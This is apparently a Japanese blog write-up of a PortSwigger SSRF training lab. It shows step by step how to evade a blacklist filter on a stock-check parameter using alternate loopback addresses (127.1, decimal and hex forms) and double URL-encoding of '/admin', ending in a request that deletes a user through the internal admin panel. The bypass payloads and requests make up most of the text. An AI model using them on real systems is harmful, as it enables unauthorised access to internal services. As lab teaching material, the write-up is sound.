Hello there, ('ω')ノ
このラボでは、ブラックリストベースのSSRF対策を回避し、管理インターフェース(http://localhost/admin)にアクセスしてユーザー「carlos」を削除する ことが目的です。
アプリケーションには在庫チェック機能があり、内部システムからデータを取得する仕組みになっています。
ただし、2種類のSSRF対策が実装されているため、それを回避する必要があります。
🔍 攻撃の手順
1. 在庫チェック機能を利用してリクエストを傍受する
- 任意の製品ページを開く
- 「Check stock(在庫を確認)」ボタンをクリック
- Burp Suite を起動し、リクエストをキャプチャする
リクエストの例:
POST /product/stock HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=6&storeId=1
このリクエストは、サーバーが 指定されたURLにリクエストを送信する 仕組みになっています。
ここで stockApi パラメータを悪用 すれば、管理インターフェースにアクセスできます。
2. 第一のフィルタを回避(ローカルホスト制限)
http://localhost/やhttp://127.0.0.1/をstockApiに設定すると ブロックされる- IPアドレスの別表現 を利用すると回避可能
▶ 試すべきIPアドレスのバリエーション
✅ http://127.1/(ループバックの短縮表記)
stockApi=http://127.1/
✅ http://2130706433/(10進数表記)
stockApi=http://2130706433/
✅ http://0x7F000001/(16進数表記)
stockApi=http://0x7F000001/
🔹 「127.1」で回避できることを確認!
次に、http://127.1/admin にアクセスを試みる。
3. 第二のフィルタを回避(/admin のブロック)
http://127.1/adminをstockApiに設定すると ブロックされるadminの「a」をエンコード すれば回避可能
▶ admin のエンコード回避
✅ 通常のURLエンコーディング
stockApi=http://127.1/%61dmin
✅ 二重エンコーディング
stockApi=http://127.1/%2561dmin
💡 %2561(a の二重エンコーディング)を使うと、フィルタをバイパス可能!
これで /admin にアクセスできる!
4. ユーザー「carlos」を削除
- 管理インターフェースのHTMLを確認し、削除リクエストのパスを特定
- 例:
html <a href="/admin/delete?username=carlos">Delete carlos</a> - 削除リクエストを送信
POST /product/stock HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://127.1/%2561dmin/delete?username=carlos
✅ 「Send」ボタンをクリック!
✅ carlos のアカウントが削除され、ラボクリア!🎉
🎯 まとめ
- 在庫チェック機能を使い、Burp Suite でリクエストをキャプチャ
http://127.1/を使用してローカルホストの制限を回避/adminの「a」を%2561にエンコードしてフィルタを回避stockApi=http://127.1/%2561dmin/delete?username=carlosを送信し、ユーザー削除- ラボクリア!🎉
このラボでは、ブラックリスト型のSSRFフィルタが簡単に回避できることを学びました!
適切な対策としては、ホワイトリストベースのフィルタを導入し、ブラックリスト方式の回避を防ぐことが重要です!
Best regards, (^^ゞ